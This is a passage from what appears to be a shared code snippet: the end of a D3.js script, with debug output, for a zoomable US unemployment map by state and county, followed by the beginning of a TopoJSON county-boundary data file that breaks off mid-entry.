    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&q